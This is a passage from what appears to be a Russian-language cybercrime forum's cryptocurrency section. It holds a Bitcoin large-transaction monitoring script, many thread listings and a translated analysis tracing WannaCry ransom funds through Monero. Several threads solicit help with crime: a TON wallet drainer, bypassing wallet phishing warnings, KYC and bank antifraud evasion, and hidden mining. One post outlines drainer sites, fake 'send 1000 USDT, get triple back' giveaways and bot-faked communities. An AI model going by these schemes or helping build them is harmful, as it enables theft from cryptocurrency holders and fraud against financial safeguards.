Насчёт кода, я пытался расписать всё максимально понятно, без бредовых названий, разбил на много функций, чтоб легче было понимать (хотя, мне это кажется только ухудшением). Если у вас всё же есть какие-то вопросы, задавайте в тему, я отвечу на них.

Spoiler: code

from curl_cffi import requests
import json
import time
from dotenv import load_dotenv
import os
load_dotenv('config.env')
latest_block_url = os.getenv("latest_block_url")
txids_of_block_url = os.getenv("txids_of_block_url")
info_of_tx_url = os.getenv("info_of_tx_url")
price_url = os.getenv("price_url")
hash_block_url = os.getenv("hash_block_url")
min_amount = int(os.getenv("min_amount", 10000000))
timeout = int(os.getenv("timeout", 1200))
processed_blocks = set()
def get_last_block():
try:
response = requests.get(latest_block_url)
return response.json()
except:
return None
def get_block_hash(block_height):
try:
url = hash_block_url.format(block_height=block_height)
response = requests.get(url)
return response.text
except:
return None
def get_block_txids(block_hash):
try:
url = txids_of_block_url.format(block_hash=block_hash)
response = requests.get(url)
return response.json()
except:
return []
def get_transaction_details(txid):
try:
url = info_of_tx_url.format(txid=txid)
response = requests.get(url)
return response.json()
except:
return None
def get_btc_to_usd_rate():
try:
response = requests.get(price_url)
data = response.json()
return data['USD']
except:
return None
def satoshi_to_btc(satoshi):
return satoshi / 100_000_000
def convert_satoshi_to_usd(satoshi):
btc_amount = satoshi_to_btc(satoshi)
usd_rate = get_btc_to_usd_rate()
if usd_rate:
usd_amount = btc_amount * usd_rate
return usd_amount
return None
def format_transaction_details(tx_details):
inputs = []
input_addresses = set()
total_input = 0
for vin in tx_details['vin']:
try:
if 'prevout' in vin:
input_address = vin['prevout']['scriptpubkey_address']
input_amount = vin['prevout']['value']
inputs.append({
"address": input_address,
"amount_satoshi": input_amount,
"amount_btc": satoshi_to_btc(input_amount)
})
input_addresses.add(input_address)
total_input += input_amount
except:
pass
outputs = []
total_output = 0
for vout in tx_details['vout']:
try:
output_address = vout['scriptpubkey_address']
output_amount = vout['value']
if output_address not in input_addresses:
outputs.append({
"address": output_address,
"amount_satoshi": output_amount,
"amount_btc": satoshi_to_btc(output_amount)
})
total_output += output_amount
except:
pass
fee = tx_details['fee']
fee_btc = satoshi_to_btc(fee)
fee_usd = convert_satoshi_to_usd(fee)
total_output_btc = satoshi_to_btc(total_output)
total_output_usd = convert_satoshi_to_usd(total_output)
return {
"txid": tx_details['txid'],
"inputs": inputs,
"outputs": outputs,
"fee_satoshi": fee,
"fee_btc": fee_btc,
"fee_usd": fee_usd,
"total_output_satoshi": total_output,
"total_output_btc": total_output_btc,
"total_output_usd": total_output_usd
}
def monitor_blocks():
while True:
latest_block_height = get_last_block()
if not latest_block_height:
time.sleep(timeout)
continue
block_hash = get_block_hash(latest_block_height)
if not block_hash:
time.sleep(timeout)
continue
if block_hash not in processed_blocks:
txids = get_block_txids(block_hash)
if txids:
for txid in txids:
tx_details = get_transaction_details(txid)
if tx_details:
formatted_tx = format_transaction_details(tx_details)
if formatted_tx['total_output_usd'] >= min_amount:
print(json.dumps(formatted_tx, indent=4))
processed_blocks.add(block_hash)
time.sleep(timeout)
if name == "main":
monitor_blocks()

В итоге мы получаем JSON, вот такого вида, в котором у нас есть вся нужная информация, и еще чуть меты.
1734053841029.png

Spoiler: json

{
"txid": "29684f8b8770bedddc6925bba05e8a1621db4f483f9ffd980ea1eb8d51160fda",
"inputs": [
{
"address": "bc1qryhgpmfv03qjhhp2dj8nw8g4ewg08jzmgy3cyx",
"amount_satoshi": 3848594014,
"amount_btc": 38.48594014
}
],
"outputs": [
{
"address": "bc1q6fzgrattkmulesuqgdmm9dgqrsclwfhmpr5grk",
"amount_satoshi": 247032218,
"amount_btc": 2.47032218
}
],
"fee_satoshi": 5640,
"fee_usd": 5.64846,
"total_output_satoshi": 247032218,
"total_output_btc": 2.47032218,
"total_output_usd": 247402.76632700002
}‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎‎

‎‎‎‎‎‎‎‎‎‎‎‎

3. Заключение
Закончили с первой частью, честно, немного запарился, пиша эту статью. Но материала много, и материал интересен (как мне кажется). Впринципе, разобрали, и выяснили, что нет тут никакой курицы, несущей золотых яиц. Математика тут тоже неподвластна. Всё зависит сугубо от вашего везения, бюджета, и настойчивости. Нельзя сказать, что это золотые горы, хоть мы и посмотрели на статистику, которая с 2023 года только увеличивается, и увеличивается. Во второй статьей, допишем оставшиеся модули, доберем еще слегка теории при работе с генерацией адресов. Перепроверим всё, и закончим) Надеюсь, было не скучно, вторая часть предполагаемо выйдет на выходных. За прочтение спасибо, было бы интересно услышать отклик, по поводу написания, объяснения материала и так далее =)

free ton (не от дурова)
ID: 67686ad7b4103b69df379a66
Thread ID: 42749
Created: 2020-10-01T18:03:59+0000
Last Post: 2020-10-01T18:03:59+0000
Author: tipokipocod
Replies: 0 Views: 705

Каково мнение насчет децентрализованного фри тон не от дурова? их форум - https://forum.freeton.org/ Рецензии на первый взгляд?

Сканер (межбиржевой арбитраж)
ID: 67686ad7b4103b69df379738
Thread ID: 113422
Created: 2024-04-27T17:36:46+0000
Last Post: 2024-05-06T17:27:37+0000
Author: Tapir
Replies: 7 Views: 703

Здравствуйте. Ищу сканер по межбиржевому арбитражу, который показывает связки, где можно купить монету дешевле, а продать дороже то есть, купил монету на одной бирже дешевле, перевёл на другую, продал на другой дороже (и было бы классно, если бы это было все автоматизированно).

Умные люди, подскажите по Blowfish
ID: 67686ad7b4103b69df379894
Thread ID: 82937
Created: 2023-03-01T07:51:17+0000
Last Post: 2023-03-01T07:51:17+0000
Author: DonotHappy
Replies: 0 Views: 702

День добрый всем!
Знаю тут обитают толковые ребята.
Мне нужно обойти софт blowfish[.]xyz (не знаю можно ли ссылки отставлять, это не реклама).
Этот софт работает с некоторыми WEB3 NFT кошельками на Polygon, ETH, SOL.
Мне надо под SOL, под кошелек Phantom обойти красные warning окна.
У них есть чек по транзакциям (указывается хэш транзакции и домен сайт), когда происходит процесс взаимодействия с кошельком Phantom. Также есть чек на блеклист доменов. Вот как возможно это обойти, если они чекают по блокчейн транзакции есть ли в транзакции функции передачи токенов и тп (конечно оно там есть).
Короче говоря может есть ребята кто работал с этим софтом и знает как с ним дружить, либо умные мысли накидаете.
Спасибо заранее!

1677656407021.png1677656425246.png

Помогите советом по выводу USDT
ID: 67686ad7b4103b69df3798ae
Thread ID: 80788
Created: 2023-01-28T13:35:36+0000
Last Post: 2023-02-03T15:47:06+0000
Author: Mask
Replies: 6 Views: 701

Суть в том, что на протяжении всего времени юзал только биток. И тут получилась ситуация, когда пришлость получить USDT. Совершенно забыл, что для отправки usdt нужен газ в эфире.
Вопрос где взять этот эфир для газа. Нужно буквально 3 бакса грубо говоря. Но обменники это не вариант с их минимальной суммой обмена. Может есть площадки или посоветуете криптобиржи где можно купить с ру карты. Спасибо!

KYC BYPASS
ID: 67686ad7b4103b69df3797ac
Thread ID: 104856
Created: 2023-12-30T05:44:32+0000
Last Post: 2024-01-14T15:52:47+0000
Author: batman777
Replies: 6 Views: 698

Do you know of someone who can bypass the kyc of an app, it works like a bank but it is not. I'm interested, there's money involved :))

Уязвимости смарт-контрактов
ID: 67686ad7b4103b69df3798cc
Thread ID: 79151
Created: 2023-01-03T02:17:59+0000
Last Post: 2023-01-03T02:17:59+0000
Author: weaver
Prefix: Мануал/Книга
Replies: 0 Views: 698

Не большая подборка по безопасности смарт-контрактов

https://solidity-by-example.org/ - Solidity на примерах
https://github.com/blockthreat/blocksec-ctfs - кураторский список CTF задачек по безопасности блокчейна
https://swcregistry.io/ - классификация уязвимостей смарт-контрактов
https://github.com/SunWeb3Sec/DeFiVulnLabs - тренинг по безопасности Web3 Solidity
https://github.com/SunWeb3Sec/DeFiHackLabs - взломы и эксплойты

flash btc
ID: 67686ad7b4103b69df3798f7
Thread ID: 71639
Created: 2022-08-13T22:12:58+0000
Last Post: 2022-10-09T08:05:40+0000
Author: zabki
Replies: 12 Views: 696

всем доброй ночи! :smile10:
Что думаете о flash btc? есть где то больше информации?
знаю чела 60к$ на этом сделал, что где когда не признается🧂

Задавайте ваши вопросы. Консультация.
ID: 67686ad7b4103b69df3797bb
Thread ID: 99385
Created: 2023-10-04T12:52:19+0000
Last Post: 2023-12-29T18:18:00+0000
Author: RIXFEL
Replies: 4 Views: 695

Вопросы:
Криптовалюта
Отработка/Проверка/Токены/Контракты/Взлом/Листинг/Трейдинг/Приват/Реализация/Расходники/Ресурсы

_И многое другое.
Отвечу всем по мере возможности/онлайна.

Я увидел сообщение на форуме от SLIP
Решил поддержать его идеи Q&A на форуме.
Тема:

Ваши Вопросы

Задаём вопросы связанные с уязвимостями, и прочими вещами на тематику раздела. Запрещается: * Просьбы о взломе * Просьбы о поиске багов * Реклама своего ресурса

xss.is xss.is

_​

Какие bitcoin биржи были популярными в 2012?
ID: 67686ad7b4103b69df379684
Thread ID: 127300
Created: 2024-11-20T18:33:21+0000
Last Post: 2024-11-25T11:39:30+0000
Author: sap4eg
Replies: 6 Views: 691

Подскажите плиз.

Эксплуатация смарт-контрактов
ID: 67686ad7b4103b69df37997f
Thread ID: 64562
Created: 2022-03-20T23:58:36+0000
Last Post: 2022-04-07T16:05:19+0000
Author: werbeden
Replies: 10 Views: 689

Заметил что на форуме тем про эксплуатацию смарт-контрактов в сети эфира вообще нет. Также как и в интернете информации про это не много.
Возможно кто то может поделиться опытом, литературой или базой для старта, уязвимости в коде контракта и прочее ...

Куда можно принять деньги как на карту?
ID: 67686ad7b4103b69df37972e
Thread ID: 113277
Created: 2024-04-25T05:13:54+0000
Last Post: 2024-05-20T07:05:14+0000
Author: deda
Replies: 7 Views: 689

В РФ можно из мобильного приложения банка отправить деньги на юмани, например.
Какие есть аналогичные электронные деньги за рубежом на которые можно с банковской карты в приложении перевести деньги.
То есть, чтобы я мог дать человеку номер счета и он мог с карты мне его пополнить?

новая криптобиржа
ID: 67686ad7b4103b69df379871
Thread ID: 65759
Created: 2022-04-17T21:44:23+0000
Last Post: 2023-04-11T15:20:46+0000
Author: etern
Replies: 5 Views: 688

в поисках более новой криптобиржи с более низким уровнем безопасности. Кто- нибудь знает?

Which crypto coins can be freezed by law enforcement
ID: 67686ad7b4103b69df37980c
Thread ID: 94609
Created: 2023-08-02T15:19:55+0000
Last Post: 2023-08-10T14:10:39+0000
Author: MrVlad
Replies: 21 Views: 687

Searched on clear web . Didn't found.

Дрейнер на сети Ton
ID: 67686ad7b4103b69df37973b
Thread ID: 113681
Created: 2024-05-01T15:50:25+0000
Last Post: 2024-05-01T15:50:25+0000
Author: Lverba
Replies: 0 Views: 687

Ищу дрейнер под свой проект нужен именно на тоне
Связь :@shdoc_q

Что с битмиксом ?
ID: 67686ad7b4103b69df379a1c
Thread ID: 52091
Created: 2021-05-23T17:13:43+0000
Last Post: 2021-05-23T17:23:40+0000
Author: machette
Replies: 2 Views: 687

Битмикс не открывается уже продолжительное время, блеков на них нет, ветка битмикса с форума тоже куда то пропала, слышал так же что еще парочка миксеров ушли в офф, и тут дарксайды поднасрали ?)

Ищу подельников или совета по работе с блокчейном
ID: 67686ad7b4103b69df379873
Thread ID: 85400
Created: 2023-04-07T08:50:46+0000
Last Post: 2023-04-11T02:37:36+0000
Author: SOL
Replies: 11 Views: 686

Мир в хату! Прошу помощи/совета.
Я могу сделать любой продукт на смарт контрактах и web (сайты любого вида, интеграция с блокчейном, автоматизация работы с web).
Но не знаю стоит ли это усилий. Видел несколько тем, которые я мог бы повторить.

  1. Ethereum кошелек на котором лежат USDT, но нет ETH, чтобы вывести USDT надо пополнить ETH.
    При пополнении скрипт сразу эти ETH переводит дальше. Правда не знаю сколько сейчас комиссия, надо тестировать.
    Клиенту пишет китаец, который говорит, что у них в стране закон, нельзя и поэтому он отдает за так доступ к кошельку.
  2. Дрейнеры - сайт где пользователя просит метамаск заапрувить этот сайт, затем сайт списывает с него все, что у него есть.
  3. Различные сайты, где на халяву раздается что-либо, куча хороших отзывов, все довольны, надо перевести на адрес 1000+ usdt,
    чтобы обратно пришло в 3 раза больше. Ну и любые такие вариации.
    ... ну и все остальное в этом духе ...

Что мне не понятно.

  1. Я не умею генерить траффик.
  2. У меня нет столько ботов в телеге, чтобы сделать видимость живого сообщества. Чтобы спамить всем участникам определенных групп.
    Но я могу сделать роботов, которые сами будут друг с другом списываться, можно даже подключить gptchat.
  3. Я не представляю, сколько это может принести профита, то есть не хватает мотивации, хочется чтобы работа была в итоге хорошо оплачена.
  4. СИ - я не хочу никому врать, хочется, чтобы другие брали это на себя.

Подскажите, как я могу заработать, или найти команду свою, или еще что? Может написать какой-то скрипт и здесь продать, или еще что-то придумать?
Вот что-то я могу, чего-то нет. Есть ли вариант мне поднять денег?
Zaranee blagodaryu!

Привязка ВТС адреса к преступным организациям
ID: 67686ad7b4103b69df3796c5
Thread ID: 123368
Created: 2024-09-23T17:46:00+0000
Last Post: 2024-09-23T18:38:03+0000
Author: pavilion13
Replies: 2 Views: 685

Доброго времени суток! подскажите пожалуйста ресурсы достоверные, которые показывают связь определенного адреса с какой-либо преступностью. Условно: показывают что такой то адрес получил столько то битков с Hydrы и т.п...
Платные/бесплатные - неважно. Главное чтоб были достоверными

Асики
ID: 67686ad7b4103b69df379697
Thread ID: 126361
Created: 2024-11-06T13:07:31+0000
Last Post: 2024-11-09T19:45:22+0000
Author: cryptobot
Replies: 8 Views: 683

Всем добра, подскажите, кто может знает/сталкивался, где щас купить асики с доставкой в РФ, не по конским ценникам, с Китаем теперь траблы(законы у них жесткие). А возникла одна идейка хочктся попробывать тестого обыграть перед выпуском в свет))

Болт и причём же тут Eva elfie?
ID: 67686ad7b4103b69df3798ab
Thread ID: 81267
Created: 2023-02-04T19:19:43+0000
Last Post: 2023-02-04T19:19:43+0000
Author: Evirain
Prefix: Статья
Replies: 0 Views: 682

ВНИМАНИЕ В ДАННОЙ СТАТЬЕ ВЫСКАЗЫВАЕТСЯ МНЕНИЕ АВТОРА ПО ПОВОДУ $BOLT.

Болты? Какие болты вы знаете?
Вот эти:
13617042.png
Или эти:
IMG_20230204_220505_873.jpg

Если вы 1 вариант поздравляю вы нормальный человек, а если вы 2 вариант то поздравляю вы либо некудышный трейдер либо чел который повёлся на раздачи "крипты" .

$BOLT - та же самая ситуация что и с $VIRUS очередной не нужный мемкоин от нашумевшой команды MANUL'а . Тут ситуация с курсом уже более хорошая чем с вирусом. Но в данной теме мы не будем углубляться в экономическую составляющею койна, а поговорим про маркетинг. Тут у нас всё ужасно сразу говорю. Во первых в болта не 1, не 2 канала... А 4 СУКА (я не учитывал болт дурова). Отличаются они.... ну в большинстве случаев ничем. Отличается только канал ЗАГАДКИ$BOLT ну там просто напросто обычные запороленные чеки, а пароль нужно отгадывать с помощью подсказок. Как говорил один человек "Впрочем ничего нового". Так давайте отаетим на вопрос "Причём тут эва эльфи?" Она рекламила болт. А сами же админы выкладывали просто как по мне кликбайтерские посты по типу.

Spoiler: 18+

IMG_20230204_221506_927.jpg

Spoiler: 18+

IMG_20230204_221511_485.jpg

Я думаю это уже беспредел. Типо нельзя ли взять рекламу в обычных ютуб блогеров или в telegram ads на крайняк и так рекламиться, но нет мы же люди с лишней хромосомой и будем пиариться с помощью порнозвезды и зарабатывать на малолетних "инвесторах". Вообщем маркетинг просто ниже плинтуса.

Вопрос по поводу SafePal
ID: 67686ad7b4103b69df37970f
Thread ID: 117836
Created: 2024-06-29T14:16:45+0000
Last Post: 2024-06-30T04:07:01+0000
Author: xxxadam
Replies: 1 Views: 680

Зашел сегодня в свой Кош сейфпал, и вижу какой то неизвестный токен привязанный к битку (???) который возник сам по себе, сам я его не добавлял, без цены и вообще без чего либо. Адрес полностью совпадает с моим адресом BTC, что весьма напрягает. Буду благодарен за разъяснение данного феномена.

Какой самый быстрый vanitygen?
ID: 67686ad7b4103b69df37968b
Thread ID: 125272
Created: 2024-10-21T20:13:39+0000
Last Post: 2024-11-16T19:40:39+0000
Author: TOPCHEK
Replies: 1 Views: 679

Долгое время ищу публичный opensource скрипт для генерации ERC-20 адресов по префиксу.
Самое главное - поддержка нескольких десятков GPU.
Без уязвимостей.
На текущий момент нашёл скрипт на github (vanitygen-plusplus), скорость которого на одной RTX 4090 ~ 750 Mkey/s

Этот скрипт очень медленный, поэтому ищу быстрее, который поддерживает любое количество видеокарт, а не пару штук как этот.

Антифрод
ID: 67686ad7b4103b69df379723
Thread ID: 115715
Created: 2024-05-30T17:20:33+0000
Last Post: 2024-05-31T16:48:40+0000
Author: Exlips
Replies: 5 Views: 678

Всем привет! Занимаюсь P2P арбитражем и в последнее время банки очень сильно ужесточили блоки по 115-ФЗ, так как антифрод сильно прокачался за годы своего существования. Если тут есть кто шарит за софты, программы и тд, то дайте совет пожалуйста, как можно более менее грамотно обходить банковский антифрод с помощью какого-нибудь железа или же софта. Может даже тут есть арбитражники, которые подкинуть пару годных советов.

Обход вывода средств
ID: 67686ad7b4103b69df3797a1
Thread ID: 105981
Created: 2024-01-16T18:04:25+0000
Last Post: 2024-01-25T17:50:16+0000
Author: Lizard
Replies: 12 Views: 678

Всех приветствую! Может кто знает, как на бирже EXMO, обойти вывод средств без подтверждения на почтовом ящик? Очень нужно! Недавно похоронил пару к$ на бирже, до сих пор не вспомнил креды от мыла :(

нужен майнер
ID: 67686ad7b4103b69df3797d2
Thread ID: 94199
Created: 2023-07-28T08:26:33+0000
Last Post: 2023-11-03T23:59:53+0000
Author: m0dHEX
Replies: 13 Views: 675

ищу бесплатный майнер без заморочек
ничего сверхъестественное, если у кого-то есть поделитесь

Crypto exchange Cryptex.net hacked
ID: 67686ad7b4103b69df37988e
Thread ID: 83398
Created: 2023-03-07T20:53:18+0000
Last Post: 2023-03-09T01:27:50+0000
Author: stgpp0r5
Replies: 8 Views: 674

Cryptocurrency exchange platform Cryptex (Cryptex.net) has been reported to have been hacked and all data leaked on cryptex.exposed

__https://twitter.com/x/status/1633196780488630272

Скрытый майнинг жив?
ID: 67686ad7b4103b69df3799a1
Thread ID: 61166
Created: 2022-01-10T20:49:55+0000
Last Post: 2022-01-27T09:53:36+0000
Author: VnaChwou7gIqnKaobhuBw12
Replies: 5 Views: 672

Интересует данное направление, подскажите пожалуйста кто что знает и где можно арендовать этот софт только у порядочных селлеров?

Отслеживание транзакций в Monero группы wannacry 2.0
ID: 67686ad7b4103b69df37979a
Thread ID: 106855
Created: 2024-01-27T21:43:43+0000
Last Post: 2024-02-04T11:53:32+0000
Author: S3VE7N
Prefix: Статья
Replies: 1 Views: 671

**_Отслеживание транзакций wannacry 2.0 Monero

1_78_fZacQ11O05-kmCB-YFw.png_**

Недавно появились утечки слайдов, принадлежащих компании Chainalysis. В них утверждается, что транзакции Monero, связанные с вымогательством WannaCry 2.0, были отслежены, поскольку они были конвертированы обратно в прозрачные блокчейны BTC и BCH. Здесь я показываю, как можно было отследить средства WannaCry 2.0, используя общедоступную информацию.

Coindesk [более подробно рассказал о содержании слайдов](https://www.coindesk.com/business/2021/09/21/leaked-slides-show-how- chainalysis-flags-crypto-suspects-for-cops/) и новой информации, содержащейся в них. Здесь я сосредоточусь на одном конкретном утверждении, связанном с Monero. Согласно переводу этих слайдов, который был опубликован в Twitter, Chainalysis превозносит свою способность отслеживать транзакции Monero, ссылаясь на атаку вымогателей WannaCry 2.0. Перевод гласит: "Wannacry 2.0: средства отслеживаются от BTC к XMR и обратно к BTC и BCH через 3 месяца". Здесь я покажу, как можно отследить транзакции BTC - XMR - BCH с помощью общедоступных блокчейн-исследователей и API.

Wannacry 2.0: средства отслеживаются от BTC к XMR и обратно к BTC и BCH через 3 месяца.

Click to expand...

Насколько мне известно, это первый публичный пример реального отслеживания Monero с транзакциями ringCT. Ранее примеры реального отслеживания Monero были опубликованы в 2017 году Мёзером М. и другими [1]. Однако в этой работе рассматривались транзакции Monero до внедрения кольцевых конфиденциальных транзакций (RingCT) - технологического достижения, которое значительно улучшило конфиденциальность транзакций Monero, скрыв количество XMR в транзакции.[2] Этот метод использует атаку "Ева-Алиса-Ева" (EAE), которая была хорошо описана [3], и частично была облегчена криптовалютной биржей, которая слила данные о входящих и исходящих транзакциях.

Поскольку статья носит технический характер, ее целевой аудиторией являются люди, знакомые с тем, как отслеживаются другие криптовалюты, такие как биткоин.

1_rjGANXol3eNDEIV4-puj-w.png

Переведенный текст из утечки слайдов упоминает отслеживание средств WannaCry 2.0 от BTC до XMR и обратно до Bitcoin Cash (BCH).

Click to expand...

Вредоносная программа WannaCry

В мае 2017 года вымогательская программа WannaCry 2.0 заразила сотни тысяч компьютеров по всему миру, нанеся ущерб на сумму от сотен миллионов до миллиардов долларов.[4] Вымогатель требовал от владельцев зараженных компьютеров отправить биткойны на один из трех биткойн-адресов, чтобы расшифровать их файлы. По предварительным данным, фирмы, занимающиеся кибербезопасностью, приписывают
северокорейской "Группе Лазаря". В этой статье я буду называть "Lazarus" тех, кто осуществлял эти транзакции.

Многие знакомы с вредоносной программой WannaCry не только из-за масштабов атаки, но и благодаря истории британского исследователя вредоносного ПО Маркуса Хатчинса, который смог остановить атаку, зарегистрировав "воронку", выполнявшую функцию killswitch. Позже он был арестован ФБР и обвинен в деле, которое озадачило многих наблюдателей, но в итоге признал себя виновным и был приговорен к отбыванию срока и одному году освобождения под надзором. [5] Люди, следящие за киберпреступлениями, до сих пор периодически спорят, был ли WannaCry 2.0 выпущен намеренно, или же ему удалось сбежать во время разработки, как это обычно бывает с червями.

Отслеживание биткоина WannaCry до Monero

Вредоносная программа WannaCry впервые появилась в мае 2017 года и за первые 2 с половиной месяца после своего появления вымогала около 52 BTC выкупов. 3 августа 2017 года BTC начали перемещаться через множество различных биткоин- адресов. В сентябре 2017 года компания Neutrino (позже приобретенная Coinbase) опубликовала статью, в которой описала, как Neutrino использовала свои "возможности P-Flow" для отслеживания BTC WannaCry, поскольку они были конвертированы в Monero месяцем ранее, 3 августа 2017 года. [5] Эта форма обфускации криптовалюты известна в индустрии как "перепрыгивание цепочки", когда кто-то пытается скрыть источник или место назначения криптовалютных токенов, конвертируя их в криптовалюту, ориентированную на конфиденциальность (почти всегда Monero). [6] Некоторые конвертации BTC→XMR осуществлялись через криптовалютную биржу ShapeShift, которая в то время не требовала от пользователей указывать электронную почту или любую другую личную информацию (хотя, судя по всему, ShapeShift также регистрировала IP-адрес и данные User- Agent). [7]

Используя данные из статьи Нейтрино, а также API ShapeShift, я смог получить список всех депозитов WannaCry 2.0 в BTC и соответствующих исходящих транзакций XMR. Повторение части этого анализа, касающейся BTC, "оставлено читателю в качестве упражнения".

Как отследить WannaCry 2.0 Monero

Шаг 1: Отметить выходы для трассировки

На данном этапе анализа у нас есть список транзакций Monero, которые были отправлены ShapeShift организации, разместившей BTC WannaCry, - Lazarus.
1_Q5XpKqoucuFmljpnras32Q.png

Скриншот части файла wannashift.json, представленного на github, который показывает количество XMR, отправленных с ShapeShift, а также идентификатор исходящей транзакции.

Click to expand...

Давайте подробнее рассмотрим первую исходящую транзакцию ShapeShift XMR на скриншоте xmrchain.info ниже. Как и в биткоине, в Monero используется модель UTXO. Каждая транзакция использует неизрасходованные транзакционные выходы (UTXO) в качестве входов и отправляет выходы. Не существует никакой конвенции о том, как называть выходы транзакций Monero. Я называю их "TXOs", когда они используются как существительное, и "output", когда они используются как глагол.

В отличие от прозрачного блокчейна Биткойна, где можно легко узнать публичный адрес, на который поступают средства, в Monero невозможно достоверно определить адрес получателя транзакции, используя только общедоступные данные блокчейна. Однако можно получить некоторую полезную информацию. В данном случае я сосредоточился на целочисленных идентификаторах TXO. Как видно на рисунке ниже, мы знаем, что транзакция имеет 3 TXO: [1823678, 1823679, 1823680]. Как и в большинстве транзакций Биткойна, большинство транзакций XMR посылают 2 или более TXO. Один из этих TXO обычно является "выходом изменений (TXO)", который возвращается к отправителю транзакции. Другой TXO (ы) отправляется получателю - в данном случае Lazarus.*

[В отличие от биткойна] невозможно точно определить адрес получателя транзакции Monero, используя только общедоступные данные блокчейна.

Click to expand...

1_1NI-bM8p5R6YgTOxz0DohA.png

Одна из транзакций, отправленных из ShapeShift в группу Lazarus после конвертации украденных BTC в XMR. На данный момент мы знаем, что XMR, отправленные на выходы в пурпурном квадрате, контролируются либо ShapeShift (изменяют TXO), либо Lazarus.

Click to expand...

Я собрал TXO для всех транзакций из ShapeShift (Таблица 1). Опять же, Monero, представленные этими TXO, контролируются либо ShapeShift, либо Lazarus.

1_Q5XpKqoucuFmljpnraas32Q.png

Исходящие транзакции XMR из ShapeShift. На данный момент мы считаем, что как минимум 1 TXO из каждой транзакции в колонке "Выходы" отправился в Lazarus и 1 TXO отправился в ShapeShift в качестве TXO изменений. В большинстве случаев имеется 3-й TXO, который мог попасть либо в Lazarus, либо в ShapeShift (позже мы узнаем, что он всегда попадал в Lazarus).

Click to expand...

Шаг 2: Определите транзакции, которые расходуют отмеченные TXO

В отличие от транзакций Bitcoin, транзакции Monero RingCT генерируют "кольцевую подпись", которая скрывает реальный вход транзакции среди нескольких ложных входов-"приманок", любой из которых может оказаться "настоящим" TXO. Количество приманок, включенных в транзакцию в дополнение к реальному вводу, называется "размером кольца", и в то время, когда эти транзакции проводились, отправитель транзакции мог выбрать размер кольца (позже он был жестко закодирован на 11, то есть 10 приманок и 1 настоящий TXO). На рисунке ниже показана часть скриншота транзакции на xmrchain.info. Невозможно потратить TXO, не включив его в кольцо, и один из членов кольца в каждом кольце обязательно контролируется отправителем транзакции. Остальные члены кольца являются приманками. На скриншоте показан "стелс-адрес" каждого TXO - однако эти TXO также имеют соответствующий целочисленный идентификатор или "индекс" (Таблица 1).

1_Q5XpKqoucuFmljpnraas32Q.png

Скриншот транзакции, которая проводит в общей сложности 7 входов. Показаны первые два входа и их кольца. Каждый вход имеет отдельное "кольцо", состоящее из 1 тратящегося TXO и 4 приманок. Один из членов кольца обязательно является настоящим тратящимся TXO. Предположительно, вероятность того, что каждый член кольца является настоящим TXO, используемым в качестве входа, одинакова.

Click to expand...

Следующий шаг в этом анализе - выявление транзакций, которые расходуют TXO, отмеченные нами как принадлежащие ShapeShift или Lazarus. Для этого я создал базу данных всех TXO RingCT в блокчейне Monero и всех транзакций/колец, включающих TXO в качестве члена кольца. Упрощенная версия этой базы данных имеет следующий формат: TXO,[Список TXID].

Затем я просто искал каждую транзакцию, которая включала отмеченные TXO в качестве членов кольца. Ниже приведен примерный список некоторых из этих транзакций:

1_Q5XpKqoucuFmljpnraas32Q.png

В транзакциях, выделенных жирным шрифтом, было потрачено 2 и более TXO, отмеченных в транзакциях Lazarus BTC →ShapeShift →XMR. Выделенный жирным шрифтом TXID, начинающийся с '9e0476', является примером ложного срабатывания (см. сноски).

Click to expand...

Мой код выявил 4 транзакции, которые включали более 1 отмеченного TXO в своих кольцах. Три из этих транзакций произошли примерно в одно и то же время 17 августа - примерно через две недели после транзакций BTC →ShapeShift →XMR 8/3/17. В этом анализе использовалась разновидность ранее описанной "эвристики объединения вывода".[9] Эти транзакции могут быть ShapeShift, консолидирующим TXO, могут быть Lazarus, тратящим отмеченные TXO, или они могут быть совершенно несвязанными и чисто случайными.† На самом деле, одна из 4 выявленных транзакций, скорее всего, была нецелевым попаданием.‡ Три положительных попадания показаны в таблице 2. В одном из положительных совпадений было потрачено 2 отмеченных TXO, а также два входа, которые мы не отметили. Вторая транзакция потратила 5 помеченных TXO и два не помеченных TXO. Неизвестные TXO могли быть получены с биржи Changelly, которую актеры Lazarus использовали в дополнение к ShapeShift. В отличие от ShapeShift, API Changelly не позволяет легко получить данные об исходящих транзакциях, хотя вполне вероятно, что правоохранительные органы располагают этими TXID.

1_Q5XpKqoucuFmljpnraas32Q.png

3 транзакции, которые провели несколько отмеченных выходов, известных как связанные с транзакциями ShapeShift Лазаруса, а также выходы (TXO) этих транзакций.

Click to expand...

Точная статистика, используемая для определения того, действительно ли транзакция тратит отмеченные TXO или это просто нецелевое попадание, "выходит за рамки этой статьи" и не нужна в данном случае. Вот пример "математики на салфетке" о вероятности случайного включения этих транзакций:

Приманки выбираются из пула, насчитывающего более 100 000 выходов. Вероятность того, что конкретный вывод Lazarus будет выбран в качестве приманки, составляет не более 1 к 100 000. Мы следим за 23 выходами, чтобы убедиться, что они потрачены, поэтому вероятность того, что один из этих выходов будет выбран, составляет не более 23 из 100 000. В каждом кольце 5 членов, поэтому 5 шансов включить выход Lazarus (5*23)/100 000 или 0,00115. Вероятность того, что
того, что 7 выходов будут выбраны в качестве приманки в одной и той же транзакции, составляет примерно 0,00115^7 или, что составляет 2,6 × 10^-21 или 0,00000000000000000026%.

Click to expand...

Короче говоря, хотя это и "вероятностный" анализ, вероятность того, что 7 отмеченных TXO будут случайно выбраны в качестве приманки в транзакции с 7 входами, астрономически мала.

Я называю транзакции в таблице 2 "транзакциями консолидации", поскольку они объединили все ShapeShift TXO в то, что, возможно, было новым кошельком. Возможно, это также была неудачная попытка "оттока". Транзакции консолидации примечательны тем, что содержат более 2 TXO; в то время, когда эти транзакции происходили, два самых популярных кошелька, Monero GUI Wallet и Cake Wallet, генерировали только транзакции с ровно 2 TXO (1 TXO для смены и 1 TXO для получателя транзакции, сейчас они допускают до 15 получателей). Поскольку консолидационные транзакции содержат более 2 TXO, они, скорее всего, были сделаны с помощью кошелька командной строки "Monero Wallet CLI", который недоступен для начинающих пользователей.

3. Мы выявили несколько транзакций, связанных с Лазарем, что теперь?
Я не знаю, почему консолидационные транзакции Lazarus выводили 4 или 8 TXO, а не 2, как по умолчанию. Это значительно упрощает отслеживание средств, поскольку теперь у нас есть 20 TXO, связанных с Lazarus, - по сравнению с 6, если бы они совершили 3 транзакции оттока с 2 TXO каждая. Как и на предыдущем этапе, я искал в блокчейне транзакции, включающие отмеченные TXO из транзакций консолидации.

